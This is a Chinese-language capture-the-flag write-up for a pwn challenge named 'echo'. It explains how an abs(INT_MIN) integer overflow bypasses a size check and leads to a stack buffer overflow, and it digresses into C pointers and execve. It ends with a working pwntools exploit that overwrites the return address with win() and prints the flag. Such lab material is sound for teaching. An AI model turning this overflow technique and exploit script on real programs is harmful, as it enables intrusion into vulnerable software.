网址(内容来自互联网,风险自担)
https://alpacahack.com/ctfs/round-1/challenges/echo
题目

做法
下载压缩包,解压

开虚拟机checksec(不知道是哪个文件的进虚拟机拖文件的时候自然就知道了,是echo,熟悉的文件标志)


64位,没开栈保护
这里,我们看到压缩包解压后还有个C源文件,我们点进去看看(可以下vsCode等工具打开)

完整代码如下
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUF_SIZE 0x100
/* Call this function! */
void win() {
char *args[] = {"/bin/cat", "/flag.txt", NULL};
execve(args[0], args, NULL);
exit(1);
}
int get_size() {
// Input size
int size = 0;
scanf("%d%*c", &size);
// Validate size
if ((size = abs(size)) > BUF_SIZE) {
puts("[-] Invalid size");
exit(1);
}
return size;
}
void get_data(char *buf, unsigned size) {
unsigned i;
char c;
// Input data until newline
for (i = 0; i < size; i++) {
if (fread(&c, 1, 1, stdin) != 1) break;
if (c == '\n') break;
buf[i] = c;
}
buf[i] = '\0';
}
void echo() {
int size;
char buf[BUF_SIZE];
// Input size
printf("Size: ");
size = get_size();
// Input data
printf("Data: ");
get_data(buf, size);
// Show data
printf("Received: %s\n", buf);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
echo();
return 0;
}
还是先找main函数,在最后,没啥东西,但我们看到它调用了一个echo函数,找到这个函数看看
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
echo();
return 0;
}
定义了一个size,声明了一个字符数组 buf,数组大小由BUF_SIZE 决定,我们先找这个size看看
void echo() {
int size;
char buf[BUF_SIZE];
打印”Size:“,然后让size = get_size(),即调用 get_size() 这个函数,把它返回的值赋给变量 size
那我们先找到get_size看看
// Input size
printf("Size: ");
size = get_size();
定义size = 0,然后读取一个十进制整数,并将其存储到 size 变量中
(%d 是格式说明符(用于读取或输出十进制整数))
%*c:
%c表示读取一个字符*表示“读了但丢弃,不赋值”
比如输入: 123↵
执行后:
size = 123- 回车那个
'\n'被%*c读走并丢弃
常见用途: 避免下一次输入时,缓冲区里还残留一个换行符。
int get_size() {
// Input size
int size = 0;
scanf("%d%*c", &size);
看到这没提到啥函数了,顺势往下看
在第20行我们看到abs,怀疑是否为Abs有符号整数溢出
让用户输入的数变成绝对值,查看是否大于第5行定义的BUF_SIZE(0x100)
转换一下进制,0x100=256(十进制)
若大于,则异常退出(exit(0)进程正常终止,exit(1)进程异常终止)
// Validate size
if ((size = abs(size)) > BUF_SIZE) {
puts("[-] Invalid size");
exit(1);
}
Abs有符号整数溢出
对于 32 位 int:
INT_MIN = -2147483648 INT_MAX = 2147483647
数学上:
abs(INT_MIN) = abs(-2147483648) = 2147483648
但是 2147483648 超过了 int 能表示的最大值 2147483647,因此无法用 int 表示。
所以 abs(INT_MIN) 会产生整数溢出问题。
从 C 标准角度看,这是未定义行为;但在常见 CTF 环境中,abs(INT_MIN) 的结果通常仍然是 INT_MIN,也就是 -2147483648。
因此代码:
if ((size = abs(size)) > BUF_SIZE)
在输入 INT_MIN 时,可能变成:
if (-2147483648 > BUF_SIZE)
由于 BUF_SIZE 是正数,所以这个判断为假,程序不会进入 Invalid size 分支,从而绕过 size 检查。
具体流程就是:
输入 INT_MIN
↓
abs(INT_MIN) 溢出
↓
常见环境下 size 仍然是 INT_MIN,也就是负数
↓
size > BUF_SIZE 判断失败
↓
绕过检查
然后,我们再看看其他没看到的函数
get_data(buf, size) 会把我们输入的数据逐字节写入 buf,而 size 用来控制最多写入多少字节。 由于 buf 在栈上,且程序没开 Canary,因此我们可以考虑一下栈溢出
// Input data
printf("Data: ");
get_data(buf, size);
然后我们来看看这个for循环
fread 的格式是:
fread(读到哪里, 每次读多大, 读多少个, 从哪里读)
因此,这里就是:
- 把数据读到
c这个变量里 - 每次读
1字节 - 读
1个 - 从
stdin读,也就是标准输入(键盘/管道输入)
所以这句其实就是:
每次读一个字符到 c 里。
然后这一行代表的就是如果没成功读到 1 个字节,就退出循环。 相当于: 读不到东西就别读了。
然后就来到 if (c == '\n') break;
如果读到的是换行符,也退出循环。
再来,就是buf[i] = c;
如果成功读到了字符,而且不是换行,就把这个字符放进缓冲区:
最后,我们一起来看这里 buf[i] = '\0';
这句非常重要。
它是在最后面补一个:
‘\0’
这叫 字符串结束符。
因为 C 语言的字符串必须以 \0 结尾,像这样:
‘a’ ‘b’ ‘c’ ‘\0’
这样后面如果 printf("%s", buf);,程序才知道字符串到这里结束。
// Input data until newline
for (i = 0; i < size; i++) {
if (fread(&c, 1, 1, stdin) != 1) break;
if (c == '\n') break;
buf[i] = c;
}
buf[i] = '\0';
}
然后看到第8行的win函数,我们看到”/bin/cat”和”/flag.txt”,也许可以当做我们的后门函数,我们接着看
如果 execve 调用成功,当前进程会开始执行 /bin/cat 程序,并显示 /flag.txt 文件的内容,因此,我们exp最后与靶机交互的命令也要改改
然后下面来详细解释一下,这里也涉及到一些指针的问题了
args
是整个数组名
里面装了n个指针,无论这些指针是什么层级的,有多少,相当于一个集合打包成一个名字
args[0]
是数组第 0 个元素
它是一个 char *,char类型的一级指针,在这里也就是:
指向字符串 "/bin/cat" 的地址
C 字符串本体是一串连续的 char,并且以 ‘\0’ 结尾 我们通常用这串字符的首地址来表示、传递、访问这个字符串
也就是说:
"/bin/cat"
在内存里大概是:
'/' 'b' 'i' 'n' '/' 'c' 'a' 't' '\0'
而 args[0] 存的是这串字符第一个字符 '/' 的地址
C 字符串 的规则是:
- 从一个地址开始
- 这个地址后面是一串
char
如果是用 printf 打印 args[0] 指向的整串字符串,就要用 %s
%s的规则是:从这个地址开始,一个字符一个字符往后读- 一直读到
'\0'为止 所以它才把整串打印出来
PS:通常,我们的指针都是满足这样一个规律:
一个指针类型:
int **********p; // 管它多少个 *
- 写
p→ 地址 - 写
*p→ 地址 - 写
**p→ 地址 - ……
- 写到 星号数量跟定义一样多 → 才是值
不管你叠多少层 *,永远只有最后那一次解引用才是值,前面全都是地址。
也就是:
每解引用一次,类型就少一层 *。
如果少完之后类型里还有 *,那它还是指针,也就是地址。 如果少完之后类型里没有 *,那它就是普通数据。
这样,我们也很好解释第三点了
*args[0]
类型是char,是把 args[0] 这个地址解引用,得到那个地址上的第一个字符
然后就是
execve(args[0], args, NULL);
这是系统调用,作用是: 让当前程序变成另一个程序来执行
函数原型大概是: execve(程序路径, 参数数组, 环境变量)
所以这里就是: execve(args[0], args, NULL);
展开后相当于: execve(“/bin/cat”, {“/bin/cat”, “/flag.txt”, NULL}, NULL);
也就是:
- 要执行的程序:
/bin/cat - 传给它的参数:
/bin/cat和/flag.txt - 环境变量:
NULL
效果就等于在命令行运行: /bin/cat /flag.txt
exit(1);
这个意思是:
如果前面的 execve 失败了,就退出程序
因为 execve 有个特点:
- 成功了,就不会返回
- 失败了,才会继续往下执行
即:
- 如果
execve成功:当前进程直接被替换成/bin/cat,后面的exit(1)根本执行不到 - 如果
execve失败:execve返回,程序才会继续执行exit(1)
因此,这里就是,先搞一个一级指针数组,并写好东西进去 然后利用execve去执行 成功了,打印flag 失败了,异常退出
- 为什么
args[0]是"/bin/cat"?
首先,不能写成*args[0]
args[0]的类型是char *- 含义:指向字符串
"/bin/cat"开头的地址
- 含义:指向字符串
*args[0]的类型是char- 含义:这个字符串的第一个字符,也就是
'/'
- 含义:这个字符串的第一个字符,也就是
假设: char *p = “/bin/cat”;
那么:
p→"/bin/cat"的地址*p→'/'p[0]→'/'p[1]→'b'
所以:
printf(“%s\n”, p); // /bin/cat
printf(“%c\n”, *p); // /
因此,这里不能写成 *args[0]。
args[0] 的类型是 char *,它存的是字符串 “/bin/cat” 的首地址,也就是字符 ‘/’ 的地址。
而 *args[0] 的类型是 char,它表示对 args[0] 这个地址解引用,取出字符串的第一个字符,也就是 ‘/’。
在 C 语言里,字符串通常用首地址来表示。只要某个函数按照 C 字符串规则使用这个首地址,它就会从这个地址开始一直读取字符,直到遇到 ‘\0’ 为止。
所以严格来说,args[0] 不是字符串本体,而是指向字符串 “/bin/cat” 的首地址。
但为了方便理解,我们经常会口语化地说:
args[0] 是 “/bin/cat”
更严谨地说应该是:
args[0] 指向字符串 “/bin/cat”。
argv:参数数组的首地址argv[0]:第一个字符串的首地址*argv[0]:第一个字符串的第一个字符
若想表示/bin/cat的b的话,可以写成: *(p + 1)
或者更常见地写成: p[1]
这两个是一样的
p[0]
是对 整个变量 p 做下标。
它等价于: *(p + 0)
也就是: *p
所以:
p[0]不是“*p里面的 p”p[0]是“从 p 指向的位置开始,取第 0 个元素”
一级指针:变量里存一个地址,这个地址指向普通数据。
二级指针:变量里也只存一个地址,只不过这个地址指向的是“一级指针”。 二级指针可以指向一个一级指针变量,也可以指向一片连续的一级指针数组。
三级指针:变量里也只存一个地址,只不过这个地址指向的是“二级指针”。
三级指针可以指向一个二级指针变量,也可以指向一片连续的二级指针数组。
如果它指向一片连续的二级指针数组,那么它存的就是这个二级指针数组第一个元素的地址。
通过 r[0]、r[1]、r[2] 可以取出其中某一个二级指针。
取出来的这个二级指针,又可以继续指向一个一级指针变量,也可以指向一片连续的一级指针数组。
四级指针:变量里也只存一个地址,只不过这个地址指向的是“三级指针”。 更高层指针也是同样规律。
char *p = “/bin/cat”;
这里 p 是一级指针。
它里面只存一个地址,比如假设是 1000。
这个地址 1000 指向哪里?
指向字符串开头:
地址1000: ‘/’
地址1001: ‘b’
地址1002: ‘i’
地址1003: ‘n’
…
所以:
p里确实只有 一个地址- 但这个地址后面可以连着很多字符
- 因此它可以表示“整串字符串的开头”
所以“一级指针只能有一个”更准确地说是:
一级指针变量里只能存一个地址值。
但这个地址可以指向一大片连续内存。
- 首地址和完整地址区别?
严格说:
“首地址”和“完整地址”这种说法里,真正标准、常用的只有“首地址”。
“完整地址”不是 C 里很标准的术语。
你这里更准确应该理解成:
- 首地址:这块数据从哪里开始
- 整块数据:占了一段连续内存,不是只有一个地址
e.g.假设字符串 "/bin/cat" 在内存里是这样:
地址1000: ‘/’
地址1001: ‘b’
地址1002: ‘i’
地址1003: ‘n’
地址1004: ‘/’
地址1005: ‘c’
地址1006: ‘a’
地址1007: ‘t’
地址1008: ‘\0’
那:
- 这个字符串的首地址是
1000 - 它占的内存范围是
1000 ~ 1008
所以你要是说“这个字符串的地址”,一般默认就是说:
它的首地址 1000
不是说它只有一个字节,而是说: 整块字符串就用起始地址来代表。
- 两个NULL分别是啥?
第一个NULL是结束标记,不然程序不知道参数表到哪停 第二个NULL是环境变量,意思是:不给新程序传环境变量
- 为什么/bin/cat要作为参数传给/bin/cat?要同时出现两次?
前一个 /bin/cat 是“执行目标”,后一个 /bin/cat 是“传给程序自己的名字”
argv[1] = "/flag.txt":传给程序的文件名(后面也都是这个了,只有第一个参数是传给程序自己的名字)
因为程序启动以后,它自己并不知道你是怎么把它叫起来的。
所以系统会顺手把一份“参数表”交给它,其中第一个位置通常放:
程序被调用时使用的名字,也就是 argv[0]
也就是“这次你是以什么名字被调用的”。
有些程序会根据“自己叫什么”改变行为
有些程序非常典型,比如一个程序文件可能有多个名字:
- 叫这个名字时干这个事
- 叫另一个名字时干另一个事
也就是说,程序名本身也可能是输入的一部分。
void win() {
char *args[] = {"/bin/cat", "/flag.txt", NULL};
execve(args[0], args, NULL);
exit(1);
}
其他就没啥了(这个C源文件跟IDA反编译后内容差不多,主要是找C源文件找到疑点却没有的东西,比如buf,考虑栈溢出)
扔进IDA(64位),找到main,F5反编译

上面分析过,没啥东西,其他函数点进去也没啥东西,我们点进echo函数看看

我们看到了上面分析的get_size和get_data函数
上面分析到 get_data 会根据 size 控制读取长度,并把输入内容写入 buf,因此我们需要计算从 buf 到返回地址的偏移。然后我们去看buf的栈,就是这里的&v2,算出来是280
注: 一般算这种还是建议直接在计算器上算吧(打开电脑自带计算器->点击左上角三条杠->选择程序员->选择HEX->输入buf+saved rbp的大小->看DEC也就是十进制的数字,然后把这个数字写进exp即可)
我之前的一些笔记上面是直接用十六进制的十位数*16加上十六进制的个位数转换成十进制数的大小,然后再加上saved rbp的值,算出来的结果,我也有演示,这种算法在特定情况下这个是可以算对的,但是三位以上的十六进制算法就不能这样算了,还是采取我上面说的直接用计算器算出
防止误解,给点例子:
两位十六进制可以直接按:
0x28 = 2 * 16 + 8 = 40
但是三位以上时,不能把前面的几位当成十进制。
例如:
0x118 不能算成 11 * 16 + 8。
正确是:
0x118 = 0x11 * 16 + 0x8
其中 0x11 是十六进制的 11,等于十进制 17。
所以:
0x118 = 17 * 16 + 8 = 280
也可以展开成:
0x118 = 1 * 16^2 + 1 * 16 + 8 = 256 + 16 + 8 = 280
这里的^不是异或是多少次方
recvall() 的意思是:
一直接收目标程序输出的数据,直到对方关闭连接/进程结束。
写exp之前nc一下看看什么时候发送东西造成溢出

exp

#导入pwn模块
from pwn import *
#与靶机进行连接
r = remote("34.170.146.252",11081)
#合适位置进行abs有符号整数溢出
r.sendlineafter(b"Size:",b"-2147483648")
#合适位置发送字节数据和后门函数win
r.sendlineafter(b"Data:",b'A'*280 + p64(0x4011F6))
#打印返回的flag
print(r.recvall())
常规,得出flag——Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}




